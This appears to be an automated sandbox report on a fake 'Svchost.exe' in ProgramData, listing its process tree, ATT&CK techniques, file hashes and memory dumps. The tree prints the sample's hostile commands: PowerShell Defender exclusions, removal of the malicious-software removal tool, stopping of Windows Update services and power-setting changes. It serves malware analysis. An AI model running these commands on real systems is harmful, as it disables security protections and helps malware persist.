C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:3668

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 79211da9c5d17bacbcb1463383993825 7IRPi+koyUS2fwkipgDdyg.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:3996
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4924

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4728

C:\ProgramData\Svchost.exe
C:\ProgramData\Svchost.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2880
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Executes a command shell one-liner
  PID:1912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1712
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4540
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:636
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2484
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3504
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3860
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4068
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:720
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:204
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4700
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5132
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5148
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1872
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:5156
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6108
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 456 -p 6064 -ip 6064
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4960

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

WERF279.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF279.tmp.csv
Size 37KB
SHA256 a648fb345ef1a1f527a6692c22250ec04f120d810b7c17582543562e36ec8ab0
MD5 63328859cf1f1ab1a417597bdbbb6359
SHA1 49c8f18e738cf7c897b17848d6f0cdee2fc49cc8
SHA512 16c837d5f4a1e0e1b44c2163f3f61cea3a63ce7eb7c4ae6aa2d2ebda11fa4bd9066ae9dcd6b7c33cb2cf2de6deaaa8fa470983c17378b7699ba43a90c00a3887
SSDEEP 384:hQ+lsbORROAb8Avto4KbkTTYvLbTc/hBV/dSrrhi0Ex5+lm/fUQOMKE6EgYL/8uu:1sbBAv+ehSrk3oo8QzKCLkouC5Mionf
TLSH
T12303553ECEED023FC2B7DA18C5E64A07F895A853361EED1990C3678A4557583BCD026E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WERF299.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERF299.tmp.txt
Size 13KB
SHA256 e3549c3f6d18a017d3b937212147cbf4c5d62df3e7255f8bb5a676fdcc73c136
MD5 e0fb28e48d5c52a6ee5b2b0d0b28cf65
SHA1 325be937c6830ebbb811990eda1606dd875d3a13
SHA512 128c825fecd93b8dc6e4775da7ea33358d80a4657c61a9edd5fe00109ea5791055895442f7cd2b7b27ef50da514c2fed73668aa0d7be67bb0a02573109ba18e6
SSDEEP 96:4iefwOeSU/yY5YrWRHlYEZautViRFKQE5wbk6jae9mMCoZI+F3:Nefw6uuSwLjae9mMCoG+F3
TLSH
T163527F5616E80309F6F75E48A5F020A65763F872AF39CA4D01DE130E87E3E41D866FA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Svchost.exe

Path C:\ProgramData\Svchost.exe
Size 8.3MB
SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
MD5 02b214a1c45453a01667d3622b961568
SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
TLSH
T15A9623A12A9C0478D07A243347DCDA49E90A7885DBB034D75FD77E0FA4ADEC05A713EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_unyl2x1a.oz0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_unyl2x1a.oz0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 168aae57a8befce225e4b44fc30527ef6caf2c86b0c943ca5de3cd8d88123bad
MD5 4d8107e51358f29a0d5397da37799431
SHA1 26817780f99fe963d281a80991eacd2448ecb164
SHA512 7c3fad536398e7c65956a4b3438afa16b4b50e83c3c9b967a4fccf8f16e64c17861284d6a2d93520267747b95d8eee402b6a1ba29598d64a48f252a54008a384
TLSH
T147218627B3DC8A21CC86123A109D9C20767683C7819ECF9F6BC0D614A0BF9C9CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 949304506fef7ab625fa806eba571e5a04a08e7e00d999cd3e1e6a5920fc1a2f
MD5 8655b0366179d8ce082c1a7074e13481
SHA1 4d1ae8da6a4d1a7d0c515d3d7e671634b2d8b8de
SHA512 23c1ec30c806c58bd66ecf87de9eeae403646a4aa8447daa8508132cf43d1796bbc11bd1b3bf38352f11c7c9b0a2abd756a0d6589489a545e919919595a15c5f
TLSH
T193115727B39C89A1CC96163A509DAC1172B687D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

memory/60-101-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/60-100-0x0000029460600000-0x000002946062B000-memory.dmp

Download

memory/60-94-0x0000029460600000-0x000002946062B000-memory.dmp

Download

memory/396-112-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/396-105-0x000001803F320000-0x000001803F34B000-memory.dmp

Download

memory/396-111-0x000001803F320000-0x000001803F34B000-memory.dmp

Download

memory/620-59-0x000001F34C540000-0x000001F34C565000-memory.dmp

Download

memory/620-68-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/620-67-0x000001F34C570000-0x000001F34C59B000-memory.dmp

Download

memory/620-61-0x000001F34C570000-0x000001F34C59B000-memory.dmp

Download

memory/620-60-0x000001F34C570000-0x000001F34C59B000-memory.dmp

Download

memory/676-78-0x000002ABCF5B0000-0x000002ABCF5DB000-memory.dmp

Download

memory/676-72-0x000002ABCF5B0000-0x000002ABCF5DB000-memory.dmp

Download

memory/676-79-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/884-89-0x0000021B95190000-0x0000021B951BB000-memory.dmp

Download

memory/884-90-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/884-83-0x0000021B95190000-0x0000021B951BB000-memory.dmp

Download

memory/1020-123-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1020-116-0x00000242643C0000-0x00000242643EB000-memory.dmp

Download

memory/1020-122-0x00000242643C0000-0x00000242643EB000-memory.dmp

Download

memory/1072-127-0x0000015485160000-0x000001548518B000-memory.dmp

Download

memory/1072-134-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1072-133-0x0000015485160000-0x000001548518B000-memory.dmp

Download

memory/1116-10-0x0000019343A80000-0x0000019343AA2000-memory.dmp

Download

memory/1116-7-0x0000019329330000-0x0000019329340000-memory.dmp

Download

memory/1160-138-0x00000227D5490000-0x00000227D54BB000-memory.dmp

Download

memory/1160-144-0x00000227D5490000-0x00000227D54BB000-memory.dmp

Download

memory/1160-145-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1188-156-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1188-149-0x0000014648F10000-0x0000014648F3B000-memory.dmp

Download

memory/1188-155-0x0000014648F10000-0x0000014648F3B000-memory.dmp

Download

memory/1196-166-0x00000209F1AD0000-0x00000209F1AFB000-memory.dmp

Download

memory/1196-167-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1196-160-0x00000209F1AD0000-0x00000209F1AFB000-memory.dmp

Download

memory/1296-177-0x00000279B4360000-0x00000279B438B000-memory.dmp

Download

memory/1296-171-0x00000279B4360000-0x00000279B438B000-memory.dmp

Download

memory/1296-178-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1316-188-0x0000029849C60000-0x0000029849C8B000-memory.dmp

Download

memory/1316-182-0x0000029849C60000-0x0000029849C8B000-memory.dmp

Download

memory/1316-189-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1324-200-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1324-199-0x00000214AB180000-0x00000214AB1AB000-memory.dmp

Download

memory/1324-193-0x00000214AB180000-0x00000214AB1AB000-memory.dmp

Download

memory/1396-204-0x000001BBEA6A0000-0x000001BBEA6CB000-memory.dmp

Download

memory/1396-210-0x000001BBEA6A0000-0x000001BBEA6CB000-memory.dmp

Download

memory/1396-211-0x00007FFC3FEF0000-0x00007FFC3FF00000-memory.dmp

Download

memory/1404-215-0x000002070BBC0000-0x000002070BBEB000-memory.dmp

Download

memory/2312-20-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/2312-19-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/2312-23-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/2312-21-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/2312-18-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/2476-25-0x00000001405C4000-0x00000001407DF000-memory.dmp

Download

memory/2476-0-0x00000001405C4000-0x00000001407DF000-memory.dmp

Download

memory/2476-5-0x0000000140000000-0x000000014102C000-memory.dmp

Download

memory/2476-2-0x00007FFC80080000-0x00007FFC80082000-memory.dmp

Download

memory/2476-1-0x00007FFC80070000-0x00007FFC80072000-memory.dmp

Download

memory/2476-3-0x0000000140000000-0x000000014102C000-memory.dmp

Download

memory/2476-28-0x0000000140000000-0x000000014102C000-memory.dmp

Download

memory/2476-6-0x0000000140000000-0x000000014102C000-memory.dmp

Download

memory/2620-49-0x00007FFC7FE70000-0x00007FFC80065000-memory.dmp

Download

memory/2620-45-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2620-44-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2620-43-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2620-46-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2620-50-0x00007FFC7F3C0000-0x00007FFC7F47E000-memory.dmp

Download

memory/2620-56-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2620-48-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2724-851-0x00000226ACE50000-0x00000226ACE6C000-memory.dmp

Download

memory/2724-852-0x00000226ACE70000-0x00000226ACF25000-memory.dmp

Download

memory/2724-853-0x00000226ACF30000-0x00000226ACF3A000-memory.dmp

Download

memory/2724-854-0x00000226AD2E0000-0x00000226AD2FC000-memory.dmp

Download

memory/2724-855-0x00000226AD2C0000-0x00000226AD2CA000-memory.dmp

Download

memory/2724-856-0x00000226AD320000-0x00000226AD33A000-memory.dmp

Download

memory/2724-857-0x00000226AD2D0000-0x00000226AD2D8000-memory.dmp

Download

memory/2724-858-0x00000226AD300000-0x00000226AD306000-memory.dmp

Download

memory/2724-859-0x00000226AD310000-0x00000226AD31A000-memory.dmp

Download

memory/2880-38-0x0000000140000000-0x000000014102C000-memory.dmp

Download

memory/2940-41-0x00007FFC7FE70000-0x00007FFC80065000-memory.dmp

Download

memory/2940-40-0x0000028B1EDA0000-0x0000028B1EDCA000-memory.dmp

Download

memory/2940-42-0x00007FFC7F3C0000-0x00007FFC7F47E000-memory.dmp

Download